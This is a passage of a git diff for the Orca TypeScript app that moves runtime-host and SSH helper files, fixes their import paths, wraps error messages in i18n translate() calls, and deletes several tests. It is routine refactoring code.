-          streamId,
-          seq: 3,
-          payload: new Uint8Array(0)
-        })
-      )
-    }
-
-    injectSnapshot({ kind: 'scrollback', cols: 120, rows: 40, truncated: false }, 'initial state')
-    expect(onSnapshot).toHaveBeenCalledWith('initial state', {
-      pendingEscapeTailAnsi: undefined,
-      // The host's serialization grid; the restorer replays there, not at the pane's own.
-      cols: 120,
-      rows: 40,
-      // No scrollbackRows: an older host's screen-only image.
-      carriesHistory: false
-    })
-    sendBinary.mockClear()
-
-    injectSnapshot(
-      {
-        kind: 'scrollback',
-        cols: 120,
-        rows: 40,
-        reason: 'ack-pending-overflow',
-        truncated: false,
-        scrollbackRows: 1000
-      },
-      'recovered state'
-    )
-    // Unsolicited history recovery replaces screen/scrollback without replaying subscribe lifecycle.
-    expect(onSnapshot).toHaveBeenCalledWith(`\x1b[?2026l\x1b[2J\x1b[3J\x1b[H${'recovered state'}`, {
-      pendingEscapeTailAnsi: undefined,
-      cols: 120,
-      rows: 40,
-      carriesHistory: true
-    })
-
-    // Empty recovery means blank model state; still clear stale dropped output.
-    injectSnapshot(
-      {
-        kind: 'scrollback',
-        cols: 120,
-        rows: 40,
-        reason: 'ack-pending-overflow',
-        truncated: false
-      },
-      ''
-    )
-    // P2-5: a screen-only recovery (an older host) still drops the pane's history, which ends before the dropped output.
-    expect(onSnapshot).toHaveBeenCalledWith('\x1b[?2026l\x1b[2J\x1b[3J\x1b[H', {
-      pendingEscapeTailAnsi: undefined,
-      cols: 120,
-      rows: 40,
-      carriesHistory: false
-    })
-    expect(
-      sendBinary.mock.calls.map(([bytes]) => decodeTerminalStreamFrame(bytes))
-    ).not.toContainEqual(expect.objectContaining({ opcode: TerminalStreamOpcode.Subscribe }))
-
-    stream.close()
-  })
-})
diff --git a/src/renderer/src/runtime/hosted-terminals/streams/transport/remote-runtime-terminal-multiplexer-base.ts b/src/renderer/src/runtime/hosted-terminals/streams/transport/remote-runtime-terminal-multiplexer-base.ts
index 5a429e91d5b..478adee7a60 100644
--- a/src/renderer/src/runtime/hosted-terminals/streams/transport/remote-runtime-terminal-multiplexer-base.ts
+++ b/src/renderer/src/runtime/hosted-terminals/streams/transport/remote-runtime-terminal-multiplexer-base.ts
@@ -14,6 +14,10 @@ import type { RemoteRuntimeMultiplexedTerminalState } from '../remote-terminal-s
 import type { RuntimeEnvironmentSubscriptionHandle } from '../../../rpc/subscriptions/runtime-environment-subscription-handle'
 import { getRuntimeEnvironmentRevision } from '../../../rpc/environment-revisions/runtime-environment-revision'
 import { refreshRuntimeEnvironmentsAfterPairingChange } from '../../../rpc/environment-revisions/runtime-environment-pairing-refresh'
+import { translate } from '@/i18n/i18n'
+
+const remoteConnectionClosed = (): string =>
+  translate('auto.runtime.remoteTerminal.connectionClosed', 'Remote runtime connection closed.')
 
 export abstract class RemoteRuntimeTerminalMultiplexerBase {
   protected readonly streams = new Map<number, RemoteRuntimeMultiplexedTerminalState>()
@@ -180,7 +184,7 @@ export abstract class RemoteRuntimeTerminalMultiplexerBase {
     const closingSubscription = this.subscription
     this.ready = false
     this.connectPromise = null
-    this.readyRejecter?.(new Error(message ?? 'Remote runtime connection closed.'))
+    this.readyRejecter?.(new Error(message ?? remoteConnectionClosed()))
     this.readyResolver = null
     this.readyRejecter = null
     this.subscription = null
@@ -191,7 +195,7 @@ export abstract class RemoteRuntimeTerminalMultiplexerBase {
     // Why: close callbacks may resubscribe synchronously; release first so every replacement shares the new environment multiplexer.
     this.releaseIfCurrent(this.environmentId, this)
     for (const stream of streams) {
-      disposeRemoteTerminalStreamState(stream, message ?? 'Remote runtime connection closed.')
+      disposeRemoteTerminalStreamState(stream, message ?? remoteConnectionClosed())
       const canHandleClose = Boolean(stream.callbacks.onTransportClose)
       stream.callbacks.onTransportClose?.({ recoverable })
       if (message && !canHandleClose) {
diff --git a/src/renderer/src/runtime/hosted-terminals/streams/transport/remote-runtime-terminal-multiplexer.ts b/src/renderer/src/runtime/hosted-terminals/streams/transport/remote-runtime-terminal-multiplexer.ts
index 66cb6c5ba4b..d76148a825e 100644
--- a/src/renderer/src/runtime/hosted-terminals/streams/transport/remote-runtime-terminal-multiplexer.ts
+++ b/src/renderer/src/runtime/hosted-terminals/streams/transport/remote-runtime-terminal-multiplexer.ts
@@ -14,6 +14,7 @@ import type {
 } from '../remote-terminal-stream-contracts'
 import type { RemoteRuntimeMultiplexedTerminalState } from '../remote-terminal-stream-state'
 import { createRemoteTerminalStreamWatchdog } from '../recovery/remote-terminal-stream-watchdog'
+import { translate } from '@/i18n/i18n'
 
 export class RemoteRuntimeTerminalMultiplexer extends RemoteRuntimeTerminalBinaryController {
   async subscribeTerminal(args: {
@@ -133,7 +134,10 @@ export class RemoteRuntimeTerminalMultiplexer extends RemoteRuntimeTerminalBinar
         if (this.isRegisteredStream(state)) {
           // Why after: a failed write closes the transport, whose message the pending snapshot must carry.
           this.sendFrame(streamId, TerminalStreamOpcode.Unsubscribe)
-          disposeRemoteTerminalStreamState(state, 'Remote terminal stream closed.')
+          disposeRemoteTerminalStreamState(
+            state,
+            translate('auto.runtime.remoteTerminal.streamClosed', 'Remote terminal stream closed.')
+          )
           this.streams.delete(streamId)
           this.closeIfIdle()
         }
diff --git a/src/renderer/src/lib/runtime-host-copy.ts b/src/renderer/src/runtime/hosts/display/runtime-host-copy.ts
similarity index 90%
rename from src/renderer/src/lib/runtime-host-copy.ts
rename to src/renderer/src/runtime/hosts/display/runtime-host-copy.ts
index 2023c6ccbeb..5b0bd095403 100644
--- a/src/renderer/src/lib/runtime-host-copy.ts
+++ b/src/renderer/src/runtime/hosts/display/runtime-host-copy.ts
@@ -3,9 +3,9 @@ import type { Translate } from '@/i18n/use-translate'
 import type {
   ExecutionHostHealth,
   ExecutionHostVmState
-} from '../../../shared/execution-host/execution-host-health'
-import type { RuntimeHostBlockedReason } from '../../../shared/remote-runtime/host-status/runtime-host-status'
-import type { RuntimeCompatVerdict } from '../../../shared/protocol-compat'
+} from '../../../../../shared/execution-host/execution-host-health'
+import type { RuntimeHostBlockedReason } from '../../../../../shared/remote-runtime/host-status/runtime-host-status'
+import type { RuntimeCompatVerdict } from '../../../../../shared/protocol-compat'
 
 export function getExecutionHostHealthLabel(
   health: ExecutionHostHealth,
diff --git a/src/renderer/src/runtime/hosts/platform/execution-host-facts.ts b/src/renderer/src/runtime/hosts/platform/execution-host-facts.ts
index bf2f6717ead..f946f010673 100644
--- a/src/renderer/src/runtime/hosts/platform/execution-host-facts.ts
+++ b/src/renderer/src/runtime/hosts/platform/execution-host-facts.ts
@@ -1,28 +1,24 @@
-import {
-  getRepoExecutionHostId,
-  parseExecutionHostId,
-  type ParsedExecutionHost,
-  type ExecutionHostId
-} from '../../../../../shared/execution-host'
-import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/execution-host/project-execution-runtime'
+import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../../shared/execution-host'
+import type { ParsedExecutionHost, ExecutionHostId } from '../../../../../shared/execution-host'
 import { lastVerifiedRuntimeStatus } from '../../../../../shared/remote-runtime/host-status/runtime-host-status'
 import { runtimeHostContactForEntry } from '../../../../../shared/remote-runtime/host-status/runtime-host-contact'
-import type { AgentStartupShell } from '../../../../../shared/agent-launch/startup/tui-agent-startup-shell'
 import { resolveHostAgentStartupShell } from '../../../../../shared/windows-terminal-shell'
 import { isWslUncPath } from '../../../../../shared/wsl-paths'
-import type { AppState } from '@/store/types'
 import {
   getConnectionIdForWorktreeCopy,
   getConnectionIdFromState
 } from '../../../lib/workspace/ownership/connection-owner-resolution'
-import { getLocalProjectExecutionRuntimeContext } from '../../../lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '../preflight/local-preflight-context'
 import { CLIENT_PLATFORM } from '../../../lib/workspace/creation/new-workspace'
 import {
   getExecutionHostIdForWorktree,
   getResourceExecutionHostIdForWorktree,
   runtimeEnvironmentIdOrLocalUnlessTwin
 } from '../../../lib/workspace/ownership/worktree-runtime-owner'
-
+import { translate } from '@/i18n/i18n'
+import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/execution-host/project-execution-runtime'
+import type { AgentStartupShell } from '../../../../../shared/agent-launch/startup/tui-agent-startup-shell'
+import type { AppState } from '@/store/types'
 import type { ExecutionHostPlatformFact } from './execution-host-platform-fact'
 
 type HostFactsState = Pick<
@@ -44,13 +40,27 @@ type WorktreeHostFactsState = HostFactsState &
     | 'worktreesByRepo'
   >
 
-const SSH_PLATFORM_WITHHELD =
-  'The SSH host has not reported its operating system yet. Connect to it and try again.'
-const RUNTIME_PLATFORM_WITHHELD =
-  'The Orca server has not reported its operating system yet. Reconnect to it and try again.'
-const RUNTIME_PLATFORM_UPDATE =
-  'This Orca server does not report its operating system. Update the server to launch agents on it.'
-const HOST_UNRESOLVED_WITHHELD = 'Orca cannot tell which host owns this workspace yet.'
+// Why: resolved at call time so the reason follows the active UI language.
+const sshPlatformWithheld = (): string =>
+  translate(
+    'auto.lib.executionHostFacts.sshPlatformWithheld',
+    'The SSH host has not reported its operating system yet. Connect to it and try again.'
+  )
+const runtimePlatformWithheld = (): string =>
+  translate(
+    'auto.lib.executionHostFacts.runtimePlatformWithheld',
+    'The Orca server has not reported its operating system yet. Reconnect to it and try again.'
+  )
+const runtimePlatformUpdate = (): string =>
+  translate(
+    'auto.lib.executionHostFacts.runtimePlatformUpdate',
+    'This Orca server does not report its operating system. Update the server to launch agents on it.'
+  )
+const hostUnresolvedWithheld = (): string =>
+  translate(
+    'auto.lib.executionHostFacts.hostUnresolvedWithheld',
+    'Orca cannot tell which host owns this workspace yet.'
+  )
 
 function resolveLocalPlatform(
   projectRuntime: ProjectExecutionRuntimeResolution | undefined,
@@ -122,7 +132,7 @@ function resolveRemoteHostPlatform(
 ): ExecutionHostPlatformFact {
   const { host } = args
   if (!host) {
-    return { kind: 'withheld', reason: HOST_UNRESOLVED_WITHHELD, recovery: 'refreshProjects' }
+    return { kind: 'withheld', reason: hostUnresolvedWithheld(), recovery: 'refreshProjects' }
   }
   const sshTargetId = host.kind === 'ssh' ? host.targetId : args.nestedSshTargetId
   if (sshTargetId) {
@@ -135,7 +145,7 @@ function resolveRemoteHostPlatform(
       ? { kind: 'known', platform: sshState.remotePlatform, hostKind: 'ssh' }
       : {
           kind: 'withheld',
-          reason: SSH_PLATFORM_WITHHELD,
+          reason: sshPlatformWithheld(),
           recovery: sshState?.status === 'connected' ? 'sshUnavailable' : 'connectSsh',
           pending:
             ['connecting', 'reconnecting', 'deploying-relay'].includes(sshState?.status ?? '') ||
@@ -144,14 +154,14 @@ function resolveRemoteHostPlatform(
         }
   }
   if (host.kind !== 'runtime') {
-    return { kind: 'withheld', reason: HOST_UNRESOLVED_WITHHELD, recovery: 'refreshProjects' }
+    return { kind: 'withheld', reason: hostUnresolvedWithheld(), recovery: 'refreshProjects' }
   }
   const status = lastVerifiedRuntimeStatus(
     state.runtimeStatusByEnvironmentId.get(host.environmentId)
   )
   const hostPlatform = status?.hostPlatform
   if (!hostPlatform) {
-    const reason = status ? RUNTIME_PLATFORM_UPDATE : RUNTIME_PLATFORM_WITHHELD
+    const reason = status ? runtimePlatformUpdate() : runtimePlatformWithheld()
     return {
       kind: 'withheld',
       reason,
diff --git a/src/renderer/src/lib/local-preflight-context-cache.ts b/src/renderer/src/runtime/hosts/preflight/local-preflight-context-cache.ts
similarity index 97%
rename from src/renderer/src/lib/local-preflight-context-cache.ts
rename to src/renderer/src/runtime/hosts/preflight/local-preflight-context-cache.ts
index 7995d4f0b15..82d9eda3060 100644
--- a/src/renderer/src/lib/local-preflight-context-cache.ts
+++ b/src/renderer/src/runtime/hosts/preflight/local-preflight-context-cache.ts
@@ -1,8 +1,8 @@
 import {
   getCachedWindowsTerminalCapabilities,
   hasCachedWindowsTerminalCapabilities
-} from '../runtime/hosts/capabilities/windows-terminal-capabilities'
-import type { ProjectExecutionRuntimeResolution } from '../../../shared/execution-host/project-execution-runtime'
+} from '../capabilities/windows-terminal-capabilities'
+import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/execution-host/project-execution-runtime'
 
 export type LocalPreflightContext =
   | {
diff --git a/src/renderer/src/lib/local-preflight-context-key.ts b/src/renderer/src/runtime/hosts/preflight/local-preflight-context-key.ts
similarity index 95%
rename from src/renderer/src/lib/local-preflight-context-key.ts
rename to src/renderer/src/runtime/hosts/preflight/local-preflight-context-key.ts
index 8cabe77a76f..4fff032833e 100644
--- a/src/renderer/src/lib/local-preflight-context-key.ts
+++ b/src/renderer/src/runtime/hosts/preflight/local-preflight-context-key.ts
@@ -1,4 +1,4 @@
-import type { ProjectExecutionRuntimeResolution } from '../../../shared/execution-host/project-execution-runtime'
+import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/execution-host/project-execution-runtime'
 
 type LocalPreflightContextKeyInput =
   | {
diff --git a/src/renderer/src/lib/local-preflight-context.ts b/src/renderer/src/runtime/hosts/preflight/local-preflight-context.ts
similarity index 85%
rename from src/renderer/src/lib/local-preflight-context.ts
rename to src/renderer/src/runtime/hosts/preflight/local-preflight-context.ts
index 58770826a0b..7cd8cb60dd4 100644
--- a/src/renderer/src/lib/local-preflight-context.ts
+++ b/src/renderer/src/runtime/hosts/preflight/local-preflight-context.ts
@@ -1,40 +1,34 @@
-import type { AppState } from '@/store/types'
-import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants'
-import { parseWslUncPath } from '../../../shared/wsl-paths'
-import { deriveGlobalWindowsRuntimeDefaultFromLegacySettings } from '../../../shared/execution-host/project-runtime-legacy-migration'
-import { getWorkspaceRuntimePreference } from '../../../shared/execution-host/project-runtime-preference'
+import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants'
+import { parseWslUncPath } from '../../../../../shared/wsl-paths'
+import { deriveGlobalWindowsRuntimeDefaultFromLegacySettings } from '../../../../../shared/execution-host/project-runtime-legacy-migration'
+import { getWorkspaceRuntimePreference } from '../../../../../shared/execution-host/project-runtime-preference'
+import { resolveProjectExecutionRuntime } from '../../../../../shared/execution-host/project-execution-runtime'
+import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/execution-host/project-execution-runtime'
 import {
-  resolveProjectExecutionRuntime,
-  type ProjectExecutionRuntimeResolution
-} from '../../../shared/execution-host/project-execution-runtime'
-import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host'
-import type { Repo } from '../../../shared/repo-types'
-import type { Worktree } from '../../../shared/worktree/types'
-import { parseWorkspaceKey } from '../../../shared/workspace-scope'
-import { projectMatchesRepo } from '../../../shared/project-repo-match'
+  getRepoExecutionHostId,
+  LOCAL_EXECUTION_HOST_ID
+} from '../../../../../shared/execution-host'
+import { parseWorkspaceKey } from '../../../../../shared/workspace-scope'
+import { projectMatchesRepo } from '../../../../../shared/project-repo-match'
 import { getIndexedRepoMap, getIndexedReposById } from '@/store/repos/repository-catalog-index'
-import { defaultScopeHost } from '../runtime/hosts/selection/default-creation-host'
-import { getLocalProjectRuntimeWorkspace } from '../runtime/hosts/wsl/local-project-runtime-workspace'
-import { getActiveWorkspaceOwnerTarget } from './resolved-worktree-execution-host'
-import { getEnvironmentRuntimeContextKey } from '../runtime/hosts/observations/provider-runtime-context'
-import { getRendererAppPlatform } from '../app-shell/platform/renderer-app-platform'
+import { defaultScopeHost } from '../selection/default-creation-host'
+import { getLocalProjectRuntimeWorkspace } from '../wsl/local-project-runtime-workspace'
+import { getActiveWorkspaceOwnerTarget } from '../../../lib/workspace/ownership/resolved-worktree-execution-host'
+import { getEnvironmentRuntimeContextKey } from '../observations/provider-runtime-context'
+import { getRendererAppPlatform } from '../../../app-shell/platform/renderer-app-platform'
 import {
   getProjectRuntimePreflightContext,
   getCachedLocalProjectRuntimeWslContext,
-  type LocalProjectRuntimeWslContext,
-  getWslPreflightContext,
-  type LocalPreflightContext
+  getWslPreflightContext
 } from './local-preflight-context-cache'
-
-export { localPreflightContextKey } from './local-preflight-context-key'
-export type { LocalPreflightContext } from './local-preflight-context-cache'
-export {
-  _getProjectRuntimePreflightContextCacheSizeForTest,
-  _getWslPreflightContextCacheSizeForTest,
-  _hasProjectRuntimePreflightContextCacheEntryForTest,
-  _hasWslPreflightContextCacheEntryForTest,
-  resetLocalPreflightContextCachesForTests
+import type {
+  LocalProjectRuntimeWslContext,
+  LocalPreflightContext
 } from './local-preflight-context-cache'
+import './local-preflight-context-key'
+import type { AppState } from '@/store/types'
+import type { Repo } from '../../../../../shared/repo-types'
+import type { Worktree } from '../../../../../shared/worktree/types'
 
 type LocalProjectRuntimeState = Pick<
   AppState,
diff --git a/src/renderer/src/runtime/hosts/ssh/runtime-environment-ssh-state.test.ts b/src/renderer/src/runtime/hosts/ssh/runtime-environment-ssh-state.test.ts
index 4a9d36ec19a..d90b2cf94a4 100644
--- a/src/renderer/src/runtime/hosts/ssh/runtime-environment-ssh-state.test.ts
+++ b/src/renderer/src/runtime/hosts/ssh/runtime-environment-ssh-state.test.ts
@@ -72,35 +72,6 @@ beforeEach(() => {
 })
 
 describe('hydrateRuntimeEnvironmentSshState', () => {
-  it('prunes removed targets and fetches state only for newly discovered targets', async () => {
-    const envId = nextEnvId()
-    useAppStore.getState().setEnvironmentSshTargetsMetadata(envId, [
-      { id: 'ssh-keep', label: 'keep' },
-      { id: 'ssh-old', label: 'old' }
-    ])
-    useAppStore
-      .getState()
-      .setEnvironmentSshConnectionState(envId, 'ssh-keep', connState('ssh-keep'))
-    useAppStore.getState().setEnvironmentSshConnectionState(envId, 'ssh-old', connState('ssh-old'))
-    installRpcResponses({
-      targets: [
-        { id: 'ssh-keep', label: 'keep' },
-        { id: 'ssh-new', label: 'new' }
-      ],
-      labels: { 'ssh-old': 'old' },
-      states: { 'ssh-new': connState('ssh-new', 'connecting') }
-    })
-
-    await refreshRuntimeEnvironmentSshTargetMetadata(envId)
-
-    const bucket = useAppStore.getState().sshStateByEnvironment.get(envId)
-    expect(bucket?.targetLabels.has('ssh-old')).toBe(false)
-    expect(bucket?.connectionStates.has('ssh-old')).toBe(false)
-    expect(bucket?.removedTargetLabels.get('ssh-old')).toBe('old')
-    expect(bucket?.connectionStates.get('ssh-keep')?.status).toBe('connected')
-    expect(bucket?.connectionStates.get('ssh-new')?.status).toBe('connecting')
-  })
-
   it('reruns hydration when a new generation joins an older in-flight request', async () => {
     const envId = nextEnvId()
     let resolveOlderTargets!: (value: { targets: { id: string; label: string }[] }) => void
@@ -177,27 +148,6 @@ describe('hydrateRuntimeEnvironmentSshState', () => {
 })
 
 describe('applyRuntimeEnvironmentSshStateChanged', () => {
-  it('does not touch another environment bucket or local state (no cross-pollution)', () => {
-    const envA = nextEnvId()
-    const envB = nextEnvId()
-    useAppStore.getState().setEnvironmentSshTargetsMetadata(envA, [{ id: 'ssh-1', label: 'a' }])
-    useAppStore.getState().setEnvironmentSshTargetsMetadata(envB, [{ id: 'ssh-1', label: 'b' }])
-
-    applyRuntimeEnvironmentSshStateChanged(envA, 'ssh-1', connState('ssh-1', 'connected'))
-
-    const state = useAppStore.getState()
-    expect(state.sshStateByEnvironment.get(envA)?.connectionStates.get('ssh-1')?.status).toBe(
-      'connected'
-    )
-    const otherBucket = state.sshStateByEnvironment.get(envB)
-    if (!otherBucket) {
-      throw new Error('Missing retained SSH environment bucket')
-    }
-    expect([...otherBucket.targetLabels]).toEqual([['ssh-1', 'b']])
-    expect([...otherBucket.connectionStates]).toEqual([])
-    expect([...state.sshConnectionStates]).toEqual([])
-  })
-
   it('re-fetches the authoritative target list for an unknown target instead of trusting the event', async () => {
     const envId = nextEnvId()
     // The event races a removal: the authoritative list does not contain it.
diff --git a/src/renderer/src/lib/ssh-config-passive-sync.ts b/src/renderer/src/runtime/hosts/ssh/ssh-config-passive-sync.ts
similarity index 96%
rename from src/renderer/src/lib/ssh-config-passive-sync.ts
rename to src/renderer/src/runtime/hosts/ssh/ssh-config-passive-sync.ts
index a761c44a48c..64025c7a125 100644
--- a/src/renderer/src/lib/ssh-config-passive-sync.ts
+++ b/src/renderer/src/runtime/hosts/ssh/ssh-config-passive-sync.ts
@@ -1,4 +1,4 @@
-import { useAppStore } from '../store'
+import { useAppStore } from '../../../store/index'
 
 // Why: launch, the hosts menu and Settings → SSH can all ask within a second; one sync covers them.
 const SSH_CONFIG_SYNC_MIN_INTERVAL_MS = 10_000
diff --git a/src/renderer/src/lib/ssh-mutation-expectation.ts b/src/renderer/src/runtime/hosts/ssh/ssh-mutation-expectation.ts
similarity index 91%
rename from src/renderer/src/lib/ssh-mutation-expectation.ts
rename to src/renderer/src/runtime/hosts/ssh/ssh-mutation-expectation.ts
index c29bb9160b1..20c9a67d83c 100644
--- a/src/renderer/src/lib/ssh-mutation-expectation.ts
+++ b/src/renderer/src/runtime/hosts/ssh/ssh-mutation-expectation.ts
@@ -1,7 +1,7 @@
-import type { SshMutationExpectation } from '../../../shared/ssh-types'
+import { parseExecutionHostId, toSshExecutionHostId } from '../../../../../shared/execution-host'
+import { resolveOwner } from '../../../lib/workspace/ownership/resolve-owner'
+import type { SshMutationExpectation } from '../../../../../shared/ssh-types'
 import type { AppState } from '@/store/types'
-import { parseExecutionHostId, toSshExecutionHostId } from '../../../shared/execution-host'
-import { resolveOwner } from './workspace/ownership/resolve-owner'
 
 const SSH_OWNER_CHANGED_MESSAGE =
   "Couldn't verify the SSH connection. Reconnect the host and try again."
diff --git a/src/renderer/src/runtime/jira/runtime-jira-client.ts b/src/renderer/src/runtime/jira/runtime-jira-client.ts
index 3b05fcec6f3..85b754d20bb 100644
--- a/src/renderer/src/runtime/jira/runtime-jira-client.ts
+++ b/src/renderer/src/runtime/jira/runtime-jira-client.ts
@@ -45,6 +45,7 @@ import { JIRA_CURRENT_SPRINT_RUNTIME_CAPABILITY } from '../../../../shared/jira/
 export type JiraConnectResult = { ok: true; viewer: JiraViewer } | { ok: false; error: string }
 
 import type { JiraCommentResult } from './runtime-jira-detail-client'
+import { translate } from '@/i18n/i18n'
 
 export async function jiraStatus(settings: RuntimeJiraSettings): Promise<JiraConnectionStatus> {
   return jiraStatusForTarget(rowLessSourceTarget(settings))
@@ -155,7 +156,10 @@ export async function jiraListIssuesForTarget(
       await assertRuntimeEnvironmentCapability(
         target.environmentId,
         JIRA_CURRENT_SPRINT_RUNTIME_CAPABILITY,
-        'Update the remote Orca server to filter preset issues by current sprint.'
+        translate(
+          'auto.runtime.jira.currentSprintNeedsUpdate',
+          'Update the remote Orca server to filter preset issues by current sprint.'
+        )
       )
     }
     if (filters?.statuses?.length) {
diff --git a/src/renderer/src/runtime/jira/runtime-jira-detail-client.ts b/src/renderer/src/runtime/jira/runtime-jira-detail-client.ts
index 1f66ecf1ef9..3447436a5d7 100644
--- a/src/renderer/src/runtime/jira/runtime-jira-detail-client.ts
+++ b/src/renderer/src/runtime/jira/runtime-jira-detail-client.ts
@@ -17,6 +17,7 @@ import { callRuntimeRpc } from '../rpc/calls/runtime-rpc-call'
 import { JIRA_TRANSITION_FIELDS_RUNTIME_CAPABILITY } from '../../../../shared/jira/jira-detail-capabilities'
 import { RuntimeRpcCallError } from '../rpc/calls/runtime-rpc-result'
 import { readRuntimeJiraPayload } from './runtime-jira-payload-stream'
+import { translate } from '@/i18n/i18n'
 
 export type JiraCommentResult = { ok: true; id: string } | { ok: false; error: string }
 
@@ -81,7 +82,10 @@ export async function jiraUpdateIssueForTarget(
     await assertRuntimeEnvironmentCapability(
       target.environmentId,
       JIRA_TRANSITION_FIELDS_RUNTIME_CAPABILITY,
-      'Update the remote Orca server to submit required transition fields, or complete the transition in Jira.'
+      translate(
+        'auto.runtime.jira.transitionFieldsNeedsUpdate',
+        'Update the remote Orca server to submit required transition fields, or complete the transition in Jira.'
+      )
     )
   }
   const args = { key, updates, siteId: siteId ?? undefined }
diff --git a/src/renderer/src/runtime/jira/runtime-jira-summary-generation-client.ts b/src/renderer/src/runtime/jira/runtime-jira-summary-generation-client.ts
index 391679be91c..649c0814f98 100644
--- a/src/renderer/src/runtime/jira/runtime-jira-summary-generation-client.ts
+++ b/src/renderer/src/runtime/jira/runtime-jira-summary-generation-client.ts
@@ -1,5 +1,5 @@
 import { translate } from '@/i18n/i18n'
-import { localizeTextGenerationResult } from '@/lib/text-generation-error-copy'
+import { localizeTextGenerationResult } from '@/lib/text-generation/text-generation-error-copy'
 import type {
   JiraIssueSummaryGenerationRequest,
   JiraIssueSummaryGenerationCancellation,
diff --git a/src/renderer/src/runtime/local-structured-session-tabs-sync/inventory-refresh.ts b/src/renderer/src/runtime/local-structured-session-tabs-sync/inventory-refresh.ts
index 5e56d1b08c3..85a6401b2f2 100644
--- a/src/renderer/src/runtime/local-structured-session-tabs-sync/inventory-refresh.ts
+++ b/src/renderer/src/runtime/local-structured-session-tabs-sync/inventory-refresh.ts
@@ -9,7 +9,7 @@ import { applyStructuredSessionTabSnapshots } from './snapshot-apply'
 import {
   beginStructuredAgentSessionAuthoritativeInventory,
   startStructuredAgentLaunchCancellationCleanup
-} from '../../lib/launch-cancel-tombstones-compat/structured-agent-session-launch-cancellation'
+} from '../../lib/agent-session/launch/structured-agent-session-launch-cancellation'
 import { closeStructuredAgentSession } from '../native-chat/requests/structured-agent-session-close'
 import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host'
 import { callRuntimeRpc } from '../rpc/calls/runtime-rpc-call'
diff --git a/src/renderer/src/runtime/local-structured-session-tabs-sync/local-structured-session-tabs-sync.test.ts b/src/renderer/src/runtime/local-structured-session-tabs-sync/local-structured-session-tabs-sync.test.ts
deleted file mode 100644
index e6c47bcb5c8..00000000000
--- a/src/renderer/src/runtime/local-structured-session-tabs-sync/local-structured-session-tabs-sync.test.ts
+++ /dev/null
@@ -1,268 +0,0 @@
-// @vitest-environment happy-dom
-
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import '../../../../shared/constants'
-import { STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY } from '../../../../shared/agent-session/agent-session-runtime-capabilities'
-import type { RuntimeMobileSessionTabsResult } from '../../../../shared/runtime-session-contracts'
-import type { Tab } from '../../../../shared/tab-types'
-import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types'
-
-import { buildPersistedUnifiedTabSessionData } from '../../lib/workspace/persistence/workspace-session-unified-tabs'
-import { buildHydratedTabState } from '../../store/slices/tabs/tabs-hydration'
-import './snapshot-apply'
-import { projectLocalStructuredSessionTabs } from './snapshot-projection'
-import { resetLocalStructuredSessionVersionForTests } from './inventory-generation-fence'
-import './subscription'
-import { applyWebSessionTabsSnapshot } from '../web-session-tabs-sync/snapshot-api'
-import { resetWebSessionTabsSnapshotFreshnessForTests } from '../web-session-tabs-sync/tracking-lifecycle'
-import type { WebSessionTabsSyncState } from '../web-session-tabs-sync/state'
-import { resetWebSessionFocusIntentForTests } from '../web-session-tabs-sync/navigation/web-session-focus-intent'
-
-const mocks = vi.hoisted(() => ({ recheckUnconfirmedLaunches: vi.fn() }))
-
-vi.mock(
-  '../../lib/agent-session/launch/structured-agent-session-launch-unconfirmed-recheck',
-  () => ({
-    recheckUnconfirmedStructuredAgentLaunches: mocks.recheckUnconfirmedLaunches
-  })
-)
-
-const WORKTREE_ID = 'repo-1::worktree-1'
-const TERMINAL_ID = 'terminal-1'
-const STRUCTURED_ID = 'structured-agent-session-codex-1'
-const PRIMARY_GROUP = 'primary-group'
-const SECONDARY_GROUP = 'secondary-group'
-
-afterEach(() => {
-  resetLocalStructuredSessionVersionForTests()
-  resetWebSessionFocusIntentForTests()
-  resetWebSessionTabsSnapshotFreshnessForTests()
-  vi.useRealTimers()
-})
-
-beforeEach(() => {
-  vi.restoreAllMocks()
-})
-
-function createSnapshot(): WebSessionTabsSyncState {
-  const tabs: Tab[] = [
-    {
-      id: TERMINAL_ID,
-      entityId: TERMINAL_ID,
-      groupId: PRIMARY_GROUP,
-      worktreeId: WORKTREE_ID,
-      contentType: 'terminal',
-      label: 'Terminal',
-      customLabel: null,
-      color: null,
-      sortOrder: 0,
-      createdAt: 1
-    },
-    {
-      id: STRUCTURED_ID,
-      entityId: 'codex-1',
-      groupId: SECONDARY_GROUP,
-      worktreeId: WORKTREE_ID,
-      contentType: 'agent-session',
-      agentSessionAgent: 'codex',
-      label: 'Codex Chat',
-      customLabel: null,
-      color: null,
-      sortOrder: 1,
-      createdAt: 2
-    }
-  ]
-  return {
-    activeBrowserTabId: null,
-    activeBrowserTabIdByWorktree: {},
-    activeFileId: null,
-    activeFileIdByWorktree: {},
-    activeGroupIdByWorktree: { [WORKTREE_ID]: SECONDARY_GROUP },
-    activeTabId: STRUCTURED_ID,
-    activeTabIdByWorktree: { [WORKTREE_ID]: STRUCTURED_ID },
-    activeTabType: 'agent-session',
-    activeTabTypeByWorktree: { [WORKTREE_ID]: 'agent-session' },
-    activeWorktreeId: WORKTREE_ID,
-    agentStatusByPaneKey: {},
-    agentStatusEpoch: 0,
-    browserCertificateFailuresByPageId: {},
-    browserPagesByWorkspace: {},
-    browserTabsByWorktree: {},
-    groupsByWorktree: {
-      [WORKTREE_ID]: [
-        {
-          id: PRIMARY_GROUP,
-          worktreeId: WORKTREE_ID,
-          activeTabId: TERMINAL_ID,
-          tabOrder: [TERMINAL_ID]
-        },
-        {
-          id: SECONDARY_GROUP,
-          worktreeId: WORKTREE_ID,
-          activeTabId: STRUCTURED_ID,
-          tabOrder: [STRUCTURED_ID]
-        }
-      ]
-    },
-    layoutByWorktree: {
-      [WORKTREE_ID]: {
-        type: 'split',
-        direction: 'horizontal',
-        first: { type: 'leaf', groupId: PRIMARY_GROUP },
-        second: { type: 'leaf', groupId: SECONDARY_GROUP }
-      }
-    },
-    openFiles: [],
-    editorBuffers: {},
